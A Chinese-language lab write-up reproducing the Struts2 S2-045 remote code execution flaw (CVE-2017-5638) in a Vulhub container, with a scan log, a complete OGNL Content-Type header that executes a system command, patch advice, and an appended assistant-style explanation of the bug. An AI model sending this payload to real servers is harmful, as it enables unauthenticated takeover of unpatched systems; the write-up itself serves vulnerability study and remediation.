【漏洞复现】S2-045 Remote Code Execution(CVE-2017-5638)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

说明内容
漏洞编号CVE-2017-5638
漏洞名称S2-045 远程代码执行漏洞
漏洞评级高危
影响范围Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
漏洞描述在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
修复方案打补丁
上设备
升级组件

1.1、漏洞描述

Apache官方发布Struts 2 紧急漏洞公告(S2-045),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

1.2、漏洞等级

高危

1.3、影响版本

Struts 2.3.5 - Struts 2.3.31,

Struts 2.5 - Struts 2.5.10

1.4、漏洞复现

1、基础环境

Path:Vulhub/struts2/s2-045


启动测试环境:

sudo docker-compose up -d

容器运行后,访问http://your-ip:8080,可以看到上传页面的示例

在这里插入图片描述

2、漏洞扫描
nacs
┌──(kali㉿kali)-[~/tools/nacs/0.0.3]
└─$ sudo ./nacs -h 192.168.80.141 -pa 8080
[sudo] password for kali: 
 _  _     ___     ___     ___   
| \| |   /   \   / __|   / __|  
| .  |   | - |  | (__    \__ \
|_|\_|   |_|_|   \___|   |___/  
             Version: 0.0.3
[07:25:16] [INFO] Start to probe alive machines
[07:25:16] [*] Target 192.168.80.141 is alive
[07:25:16] [INFO] There are total of 1 hosts, and 1 are surviving
[07:25:16] [WARNING] Too few surviving hosts
[07:25:16] [INFO] Start to discover the ports
[07:25:16] [*] [TCP/SSH] ssh://192.168.80.141:22 [SSH-2.0-OpenSSH_9.2p1\x20Debian-2]
[07:25:18] [*] [TCP/HTTP] [200] [Apache-Struts2] [JAVA] [Jetty] [JSP] http://192.168.80.141:8080 [Struts2 Showcase - Fileupload sample]                                                                                                                           
[07:25:18] [INFO] A total of 2 targets, the rule base hits 2 targets
[07:25:18] [INFO] Start to send pocs to web services (xray type)
[07:25:19] [INFO] Load 397 xray poc(s) 
[07:25:21] [+] http://192.168.80.141:8080 poc-yaml-struts2_045 poc1
[07:26:28] [INFO] Start to process nonweb services
[07:26:28] [INFO] [protocol] ssh 192.168.80.141
[07:28:55] [INFO] Task finish, consumption of time: 3m39.252863901s

在这里插入图片描述

3、漏洞验证

通过以下请求验证漏洞:

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

在这里插入图片描述

233*233已成功执行

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

在这里插入图片描述

在这里插入图片描述

1.5、修复建议

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切 换到不同的实现文件上传Multipart解析器。

<think>嗯,用户让我介绍一下CVE-2017-5638,这个漏洞我记得是跟Apache Struts有关的。首先,我需要确认一下这个漏洞的基本信息。CVE编号是2017-5638,所以应该是2017年公布的。Apache Struts是一个开源的MVC框架,用于构建Java Web应用。这个漏洞的严重性很高,可能属于远程代码执行类型,因为Struts之前也出过类似的问题。 接下来,我需要回忆这个漏洞的具体原因。根据记忆,CVE-2017-5638是由于Struts2在处理文件上传请求时,错误地解析了Content-Type头导致的。攻击者可以构造恶意的Content-Type头,包含OGNL表达式,从而让服务器执行任意代码。这属于远程代码执行漏洞,危害极大,攻击者无需认证即可利用。 然后,影响范围方面,应该涉及特定版本的Struts2。比如Struts 2.3.5到2.3.31,以及2.5到2.5.10这些版本可能受影响。需要确认具体的版本号,避免出错。用户如果使用这些版本的Struts,必须及时升级到修复后的版本,比如2.3.322.5.10.1。 关于漏洞的利用方式,攻击者可能会发送一个带有恶意Content-Type头的HTTP请求,比如在文件上传时,Content-Type里插入OGNL表达式。服务器在处理时没有正确验证,导致表达式被执行,从而触发远程代码执行。需要举个例子说明攻击请求的结构,比如构造的Content-Type内容,但要注意例子不能有误。 修复措施方面,官方发布了更新版本,应该建议用户升级到不受影响的版本。另外,可以提到临时缓解措施,比如在Web应用防火墙(WAF)中过滤异常的Content-Type头,或者禁用文件上传功能,如果不需要的话。 可能还需要补充漏洞的发现时间、公开时间,以及当时造成的影响,比如是否有大规模攻击事件。例如,Equifax数据泄露事件就与此漏洞有关,导致大量个人信息泄露,这显示了该漏洞的严重性。 最后,要确保回答结构清晰,分点说明,使用用户容易理解的语言。避免使用过于专业的术语,或者在必要时简单解释,比如OGNL表达式是什么,可能对非技术人员有帮助。同时,要检查LaTeX格式是否正确,比如数学公式或代码示例是否用$...$包裹,但根据用户要求,这里可能不需要太多数学公式,而是更侧重技术细节的描述。 现在需要整合这些信息,确保准确无误,特别是版本号和修复版本是否正确。可能需要查阅资料确认,比如Apache的官方公告,避免凭记忆出错。同时,要提醒用户及时更新和检查系统,增强安全意识。</think>CVE-2017-5638 是 Apache Struts2 框架中的一个高危远程代码执行(RCE)漏洞,于2017年3月被公开披露。以下是关键信息梳理: --- ### **1. 漏洞原理** - **触发点**:Struts2 在处理文件上传请求时,错误解析 HTTP 请求头中的 `Content-Type` 或 `Content-Disposition` 字段。 - **利用方式**:攻击者构造包含恶意 **OGNL表达式** 的请求头(例如`Content-Type: ${恶意代码}`),Struts2 的 Jakarta Multipart 解析器未正确过滤表达式,导致代码在服务器端执行。 --- ### **2. 影响范围** - **受影响版本**: - Struts 2.3.5 至 2.3.31 - Struts 2.5 至 2.5.10 - **后果**:攻击者无需身份验证即可远程执行任意系统命令,完全控制服务器。 --- ### **3. 典型攻击示例** 攻击者发送以下恶意 HTTP 请求: ```http POST /upload.action HTTP/1.1 Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(...恶意代码...)} ``` 通过注入 OGNL 表达式(如调用 `Runtime.getRuntime().exec()`),可执行系统命令。 --- ### **4. 修复方案** - **官方补丁**:升级至 **Struts 2.3.32** 或 **2.5.10.1** 及以上版本。 - **临时缓解**: - 在 Web 应用防火墙(WAF)中拦截包含 `${` 或 `#` 的异常请求头。 - 禁用 Jakarta Multipart 解析器(需修改 Struts 配置)。 --- ### **5. 关联事件** - **Equifax 数据泄露**:2017年美国征信机构 Equifax 因未及时修复此漏洞,导致 1.43 亿用户敏感信息泄露,直接损失超 7 亿美元。 --- ### **总结** CVE-2017-5638 是 Struts2 历史上影响最广泛的漏洞之一,其利用简单且危害极大。开发者需定期更新框架版本,运维人员应加强漏洞扫描和应急响应能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

过期的秋刀鱼-

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值